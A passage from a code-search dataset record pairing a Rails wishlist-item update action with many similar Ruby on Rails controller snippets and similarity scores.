"def create\n items = Gift.new.add_wanted_gifts(params)\n items.each do |item|\n gift = Gift.create(name: item[:name], price: item[:price].gsub(\"/\",\"\").gsub(\"$\",\"\").to_f,\n url: item[:url], category:item[:category].gsub(\"/\",\"\"))\n wishlist_item = WishlistItem.create(wishlist_id: current_user.wishlists.first.id, gift_id: gift.id)\n redirect_to wishlists_path\n end\n\n\n\n # p params\n # binding.pry\n # p params[\"gift\"][\"keyword\"]\n # p gift_params\n # p @results = Wishlist.new.parsed_info_by_keyword(params[\"gift\"][\"keyword\"])\n #@results = Wishlist.new.parsed_info_by_keyword(params[:gift][:category])\n # submit the form\n\n # go to the page with the list of results of the search\n\n # select one link, save the url into the database\n\n # Gift.new(name: gift_params, price: 19.99, url: \"www.example.com\", category: \"kitchen\")\n\n #@gift = Gift.new(name: gift_params[\"name\"], price: 19.99, url: \"www.example.com\", category: gift_params[\"name\"])\n\n\n end",
"def set_wish_list_item\n @wish_list_item = WishListItem.find(params[:id])\n end",
"def show\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def create\n \n @wish = current_user.wishes.build(params[:wish])\n if @wish.save\n flash[:success] = \"Wish created!\"\n redirect_to root_url\n else\n @feed_items = []\n render 'static_pages/home'\n end\n end",
"def create_independent\n if params[:wish_list_id].present?\n wish_list = WishList.find(params[:wish_list_id])\n else\n city_id = params[:city_id]\n wish_list = WishList.find_or_create_by_user_id_and_city_id(current_user.id, city_id)\n end\n\n wish_item = wish_list.wish_items.build(params[:wish_item])\n if wish_item.save\n # Create tags for this business: city, neighbor, category\n create_tagging_from_business(wish_item.id, params[:wish_item][:business_id])\n\n render json: { success: true }\n else\n render json: { errors: \"Wish item was unable to be created.\" }\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:name)\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |wants|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n wants.html { redirect_to(admin_items_url) }\n wants.xml { render :xml => @item, :status => :created, :location => @item }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:userId)\n end",
"def wishlist_params\n params.require(:wishlist).permit(:name, :author_id, :publisher_id, :publish_year, :martinus_url, :image_url, :note, :pages, :price, :expected_release, :user_id)\n end",
"def wish_params\n params.require(:wish).permit(:name, :description, :wishlist_id, :price, :link)\n end",
"def new\n @wishlistitem = Wishlistitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlistitem }\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:name, :user_id, :movie_id)\n end",
"def create\n wishlist = Wishlist.new(wishlist_params)\n wishlist.venue_name = wishlist.venue_name.strip\n wishlist.user_id = current_user.id\n\n respond_to do |format|\n if wishlist.save\n response = render_to_string('wishlists/_wishlist_card', :layout => false, :locals => { :wishlist => wishlist })\n format.json { render json:{ html_data: response } }\n else\n # format.html { render :new }\n format.json { render json: wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def wish_list_params\n params.require(:wish_list).permit(:product_id, :user_id)\n end",
"def create\n @item = @list.items.create(item_params)\n redirect_to @list\n end",
"def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wish_list_params\n params.require(:wish_list).permit(:name)\n end",
"def index\n @wish_list_items = WishListItem.all\n end",
"def new\n @wish_list = WishList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @wish_list }\n end\n end",
"def wishlist_params\n params.require(:wishlist).permit(:name, :customer_id)\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to(@item) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to(@item) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wish_list_item }\n end\n end",
"def create\n @basket_item = BasketItem.new(basket_item_params)\n\n\n respond_to do |format|\n if @basket_item.save\n format.html { redirect_to @basket_item, notice: 'Basket item was successfully created.' }\n format.json { render :show, status: :created, location: @basket_item }\n else\n format.html { render :new }\n format.json { render json: @basket_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n @item.save\n respond_with @item\n end",
"def create\n @wish = Wish.create(wish_params)\n\n respond_to do |format|\n if @wish.save\n format.html { redirect_to @wish, notice: 'Wish was successfully created.' }\n format.json { render :show, status: :created, location: @wish }\n else\n format.html { render :new }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def wish_list_params\n params.require(:wish_list).permit(:product_id)\n end",
"def create_wishlist\n self.build_wishlist(:user_id => self.id)\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to(@item, :notice => 'Item was successfully created.') }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to(@item, :notice => 'Item was successfully created.') }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\r\n @item = Item.new(params[:item])\r\n\r\n respond_to do |format|\r\n if @item.save\r\n format.html { render :action => \"initauction\"}\r\n format.xml { render :xml => @item, :status => :created, :location => @item }\r\n else\r\n format.html { render :action => \"new\" }\r\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n\r\n end",
"def create\n @question_item = QuestionItem.new(params[:question_item])\n\n respond_to do |format|\n if @question_item.save\n format.html { redirect_to(@question_item, :notice => 'Question item was successfully created.') }\n format.xml { render :xml => @question_item, :status => :created, :location => @question_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @question_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def create\n @items_mob = ItemsMob.new(params[:items_mob])\n\n respond_to do |format|\n if @items_mob.save\n flash[:notice] = 'ItemsMob was successfully created.'\n format.html { redirect_to items_mob_url(@items_mob) }\n format.xml { head :created, :location => items_mob_url(@items_mob) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @items_mob.errors.to_xml }\n end\n end\n end",
"def create\n ListItem.transaction do\n item = Item.new(item_params)\n item.save\n\n @list_item = ListItem.new(list_item_params)\n @list_item.item_id = item.id\n @list_item.list_id = params[:list_id]\n\n\n if @list_item.save\n render json: @list_item, status: :created\n else\n render json: @list_item.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @auction_item = AuctionItem.new(params[:auction_item])\n\n respond_to do |format|\n if @auction_item.save\n format.html { redirect_to(@auction_item, :notice => 'Auction item was successfully created.') }\n format.xml { render :xml => @auction_item, :status => :created, :location => @auction_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @auction_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n item = Item.new(item_params)\n item.done = \"0\"\n item.trash = \"0\"\n\n if item.save\n render json: {data:item}, status: :created\n else\n render json: {data:item}, status: :unprocessable_entity\n end\n end",
"def create\n\n \twatchlist_item = WatchlistItem.new(watchlist_item_params)\n\n id = SecureRandom.uuid.to_s\n\n watchlist_item_info = {:id => id, type => \"create\",\n :watchlist_id => watchlist_item.watchlist_id,\n :item_name => watchlist_item.item_name,\n :item_description => watchlist_item.item_description,\n :item_price => watchlist_item.item_price\n\n }\n\n publish :watchlist_item, JSON.generate(watchlist_item_info)\n\n status, @error = get_success(id)\n\n if status == \"true\"\n @status = \"New watchlist item created!\"\n else\n @status = \"Watchlist item could not be created\"\n end \n\n render 'confirm'\n # @watchlist = Watchlist.new(watchlist_params)\n\n # respond_to do |format|\n # if @watchlist.save\n # format.html { redirect_to @watchlist, notice: 'Watchlist was successfully created.' }\n # format.json { render :show, status: :created, location: @watchlist }\n # else\n # format.html { render :new }\n # format.json { render json: @watchlist.errors, status: :unprocessable_entity }\n # end\n # end\n\n end",
"def update\n respond_to do |format|\n if @wish_list_item.update(wish_list_item_params)\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { render :show, status: :ok, location: @wish_list_item }\n else\n format.html { render :edit }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = Item.new(params[:item])\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to \"/new/\" + Base58.encode(@item.id) }\n format.xml { render :xml => @item, :status => :created, :location => @item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @item = build_item\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to items_path, notice: 'アップロードしたでー' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_wishlist\n # @wishlist = Wishlist.find(params[:id])\n end",
"def create\n @instancia_item = InstanciaItem.new(params[:instancia_item])\n\n respond_to do |format|\n if @instancia_item.save\n format.html { redirect_to(@instancia_item, :notice => 'Instancia item was successfully created.') }\n format.xml { render :xml => @instancia_item, :status => :created, :location => @instancia_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @instancia_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @liked_item = LikedItem.new(params[:liked_item])\n\n respond_to do |format|\n if @liked_item.save\n format.html { redirect_to @liked_item, notice: 'Liked item was successfully created.' }\n format.json { render json: @liked_item, status: :created, location: @liked_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @liked_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = @client.items.new(item_params)\n\n respond_to do |format|\n if @item.save\n format.html { redirect_to @item, notice: 'Item was successfully added.' }\n format.json { render :show, status: :created, location: @item }\n else\n format.html { render :new }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @baintodo_item = @baintodo_list.baintodo_items.create(baintodo_item_params)\n redirect_to @baintodo_list\n end",
"def create\n @checklist = Checklist.find(params[:checklist_item][:checklist_id])\n @checklist_item = ChecklistItem.new(params[:checklist_item])\n\n respond_to do |format|\n if @checklist_item.save\n @checklist.checklist_items << @checklist_item\n # format.html { redirect_to checklist_checklist_item_url(@checklist, @checklist_item), notice: 'Checklist item was successfully created.' }\n format.json { render json: @checklist_item, status: :created, location: @checklist_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @checklist_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @item = current_user.items.build(params[:item])\n\n respond_to do |format|\n if @item.save\n flash[:notice] = 'Item was successfully created.'\n format.html { redirect_to home_path }\n format.xml { head :created, :location => item_url(@item) }\n else\n format.html { render :action=>:new }\n format.xml { render :xml=>@item.errors.to_xml }\n end\n end\n end",
"def createItemOfList\n results1 = checkUser(params[:target_account]) #userid user to give the money\n if results1.code == 200\n parameters={user_id: (@current_user[\"id\"]).to_i, description: (params[:description]), date_pay: params[:date_pay], cost: params[:cost], target_account: params[:target_account], state_pay:params[:state_pay]}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.101:4055/lists\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n elsif results1.code == 404\n renderError(\"Not Found\", 404, \"The resource does not exist\")\n end\n end",
"def create\n\n @list_item = @list.list_items.create!(list_item_params)\n #@list_item = @list.list_items.create!(params[:list_item])\n\n respond_to do |format|\n if @list_item.save\n format.html { redirect_to list_path(@list), notice: 'List item was successfully created.' }\n format.json { render :show, status: :created, location: @list_item }\n else\n format.html { render :new }\n format.json { render json: @list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:item, :body)\n end",
"def destroy\n @wish_list_item = WishListItem.find(params[:id])\n @wish_list_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(wish_list_items_url) }\n format.xml { head :ok }\n end\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.permit(:name, :checked, :shoppinglist_id, :id)\n end",
"def create\n @receiving_item = ReceivingItem.new(params[:receiving_item])\n\n respond_to do |format|\n if @receiving_item.save\n format.html { redirect_to(@receiving_item, :notice => 'Receiving item was successfully created.') }\n format.xml { render :xml => @receiving_item, :status => :created, :location => @receiving_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @receiving_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def item_params\n params.require(:item).permit(:title, :seq, :description, :start_bid, :bid_increment, :auction_id, :is_donation, :buyitnow, :picture, :qty, :value, auctions_attributes:[:id], bids_attributes:[:item_id, :user_id, :id, :amount, :qty])\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end",
"def new\n @wishlist = Wishlist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wishlist }\n end\n end"
] | [
"0.70018244",
"0.6883698",
"0.6872023",
"0.6869378",
"0.6825226",
"0.66802484",
"0.66297436",
"0.6627193",
"0.6569625",
"0.654649",
"0.65295845",
"0.6511484",
"0.6486452",
"0.6474226",
"0.64685917",
"0.64427155",
"0.64173657",
"0.64032847",
"0.6381984",
"0.636581",
"0.63304967",
"0.6315851",
"0.6309487",
"0.63015497",
"0.63005114",
"0.626918",
"0.62218076",
"0.62097526",
"0.61860305",
"0.61820453",
"0.6153162",
"0.6109605",
"0.61054343",
"0.60795707",
"0.6072561",
"0.60665053",
"0.605993",
"0.6059058",
"0.60570335",
"0.6056609",
"0.60558444",
"0.60522664",
"0.60467046",
"0.60197496",
"0.60157955",
"0.5999695",
"0.5988284",
"0.59793323",
"0.5973014",
"0.5946864",
"0.5937668",
"0.590991",
"0.5825464",
"0.5824863",
"0.5817589",
"0.57918406",
"0.578666",
"0.57852125",
"0.57852125",
"0.57839406",
"0.5769421",
"0.57647663",
"0.5754362",
"0.5750967",
"0.57505685",
"0.5745131",
"0.5745131",
"0.57416373",
"0.5733629",
"0.5731729",
"0.57197773",
"0.5717675",
"0.5704688",
"0.5702285",
"0.56999254",
"0.56994635",
"0.56941766",
"0.56925225",
"0.56897765",
"0.56841594",
"0.568236",
"0.56808394",
"0.56699336",
"0.56666243",
"0.5641667",
"0.56388855",
"0.56350183",
"0.56327426",
"0.5623367",
"0.561898",
"0.561898",
"0.561898",
"0.561898",
"0.561898",
"0.56127626",
"0.5612608",
"0.5608263",
"0.56011826",
"0.55917007",
"0.55917007"
] | 0.6841335 | 4 |
PUT /wishlist_items/1 PUT /wishlist_items/1.xml | def update
@wishlist_item = WishlistItem.find(params[:id])
respond_to do |format|
if @wishlist_item.update_attributes(params[:wishlist_item])
format.html { redirect_to(@wishlist_item, :notice => 'Wishlist item was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to(@wish_list_item, :notice => 'Wish list item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_wishlist_item\n @wishlistitem = Wishlistitem.find(params[:id])\n end",
"def set_wishlist_item\n @wishlist_item = WishlistItem.find(params[:id])\n end",
"def update\n @wish_list_item = WishListItem.find(params[:id])\n\n respond_to do |format|\n if @wish_list_item.update_attributes(params[:wish_list_item])\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update_attributes(params[:wishlist])\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wishlistitem = Wishlistitem.find(params[:id])\n\n respond_to do |format|\n if @wishlistitem.update_attributes(params[:wishlistitem])\n format.html { redirect_to @wishlistitem, notice: 'Wishlistitem was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wishlistitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { render :index, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wishlist = Wishlist.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update_attributes(params[:wishlist])\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", error: @wishlist.errors }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @wishlist = current_user.wishlists.find(params[:id])\n\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to wishlists_url, notice: 'Wishlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wish_list_item.update(wish_list_item_params)\n format.html { redirect_to @wish_list_item, notice: 'Wish list item was successfully updated.' }\n format.json { render :show, status: :ok, location: @wish_list_item }\n else\n format.html { render :edit }\n format.json { render json: @wish_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wishlist.update(wishlist_params)\n format.html { redirect_to @wishlist, notice: 'Wishlist was successfully updated.' }\n format.json { render :show, status: :ok, location: @wishlist }\n else\n format.html { render :edit }\n format.json { render json: @wishlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_wish_list_item\n @wish_list_item = WishListItem.find(params[:id])\n end",
"def update\n @wish.update(wish_params)\n redirect_to wishlist_path(@wish.wishlist_id)\n end",
"def update\n @wish_list = WishList.find(params[:id])\n\n respond_to do |format|\n if @wish_list.update_attributes(params[:wish_list])\n flash[:notice] = 'WishList was successfully updated.'\n format.html { redirect_to(admin_wish_lists_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @wish_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def wishlist_item_params\n params.require(:wishlist_item).permit(:wishlist_id, :item_id)\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def set_wishlist\n # @wishlist = Wishlist.find(params[:id])\n end",
"def wishlist_item_params\n params.require(:wishlistitem).permit(:id, :user_id, :item_id)\n end",
"def set_wishlist\n @wishlist = Wishlist.find(params[:id])\n end",
"def update\n @wishlist = Wishlist.find(params[:id])\n @product = Product.all\n\n if @wishlist.update_attributes(params[:wishlist])\n \t\tparams[:product_id].each do |product|\n \t\t\tif @wishlist.products.where(:id => product).count == 0\n \t\t\t @wishlist.products << Product.find(product)\n \t\t\tend\n \t\tend\n\t\t\n \tredirect_to :action => \"show\", :id => @wishlist\n \t\tend\n\n# if @wishlist.update_attributes(params[:wishlist])\n# format.html { redirect_to Wishlist, notice: 'Pickup list was successfully updated.' }\n# format.json { head :no_content }\n# else\n# format.html { render action: \"edit\" }\n# format.json { render json: Wishlist.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"def show\n @wishlist_item = WishlistItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wishlist_item }\n end\n end",
"def update\n @wish = Wish.find(params[:id])\n\n respond_to do |format|\n if @wish.update_attributes(params[:wish])\n format.html { redirect_to @wish, notice: 'Wish was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @wishlist = current_wishlist\n product = Product.find(params[:product_id])\n @wishlist_item = @wishlist.wishlist_items.build(:product => product)\n\n respond_to do |format|\n if @wishlist_item.save\n format.html { redirect_to(@wishlist, :notice => 'Wishlist item was successfully created.') }\n format.xml { render :xml => @wishlist_item, :status => :created, :location => @wishlist_item }\n else\n format.html { redirect_to(store_url, :notice => 'Item already added to wishlist') }\n format.xml { render :xml => @wishlist_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_wishlist\n @wishlist = current_user.wishlists.find(params[:id])\n end",
"def update\n @wishlist = Wishlist.where(:user_id => current_user.id)\n @wishlist_item = Wishitem.find_by(:wishlist_id => @wishlist, :product_id => params[:id])\n @wishlist_item.destroy\n if params.has_key?(:page)\n redirect_to \"/products?page=#{params[:page]}\"\n else\n redirect_to mywishlist_path\n end\n end",
"def update\n @wishlist_section = WishlistSection.find(params[:id])\n @wishlist_section.update_attributes(params[:wishlist_section])\n end",
"def set_wish_list\n @wish_list = WishList.find(params[:id])\n end",
"def set_wish_list\n @wish_list = WishList.find(params[:id])\n end",
"def wish_list_item_params\n params.require(:wish_list_item).permit(:wishlist_id, :product_id)\n end",
"def update\n @swap_item = SwapItem.find(params[:id])\n\n respond_to do |format|\n if @swap_item.update_attributes(params[:swap_item])\n format.html { redirect_to :back }\n format.xml { head :ok }\n else\n format.html { redirect_to :back }\n format.xml { render :xml => @swap_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end",
"def update\n respond_to do |format|\n if @wish.update(wish_params)\n format.html { redirect_to @wish, notice: 'Wish was successfully updated.' }\n format.json { render :show, status: :ok, location: @wish }\n else\n format.html { render :edit }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @favorite_item.update(favorite_item_params)\n format.html { redirect_to @favorite_item, notice: t('.notice') }\n format.json { render :show, status: :ok, location: @favorite_item }\n else\n format.html { render :edit }\n format.json { render json: @favorite_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # wish can be updated only when then wish belongs to current user\n if @wish.user_id == current_user.id\n\n if @wish.update(wish_params)\n if keywords_params[:keyword1]\n @wish.wish_keywords.delete_all\n [keywords_params[:keyword1], keywords_params[:keyword2], keywords_params[:keyword3]].each do |keyword|\n @wish.wish_keywords.create(keyword_id: find_create_keyword(keyword))\n end\n end\n render json: {}, status: :no_content\n else\n render json: { errors: @wish.errors.full_messages }, status: :unprocessable_entity\n end\n end\n end",
"def update \n respond_to do |wants|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n wants.html { redirect_to(admin_items_path) }\n wants.xml { head :ok }\n else\n \n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_item\n @item = Item.find(params[:id])\n @item.update(params[:item])\n redirect \"/items/#{@item.id}\"\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item)}\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @basket_item = BasketItem.find(params[:id])\n\n respond_to do |format|\n if @basket_item.update_attributes(params[:basket_item])\n format.html { redirect_to @basket_item, notice: 'We successfully updated that item in your basket.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @basket_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @wishlist_items = WishlistItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @wishlist_items }\n end\n end",
"def update\n respond_to do |format|\n if @wish.update(wish_params)\n format.html { redirect_to @wish, notice: 'Wish was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @wish.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_wish\n @wish = Wish.find(params[:id])\n end",
"def set_wish\n @wish = Wish.find(params[:id])\n end",
"def set_wish\n @wish = Wish.find(params[:id])\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(:action => :index) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_to_wishlist\n if params[:id]\n if item = Item.find_by_id(params[:id])\n @customer.add_item_to_wishlist(item)\n else\n flash[:notice] = \"Sorry, we couldn't find the item that you wanted to add to your wishlist. Please try again.\" \n end\n else\n flash[:notice] = \"You didn't specify an item to add to your wishlist...\"\n end\n redirect_to :action => 'wishlist' and return\n end",
"def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item }\n format.xml { head :ok }\n else\n \n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to(@item, :notice => 'Item was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
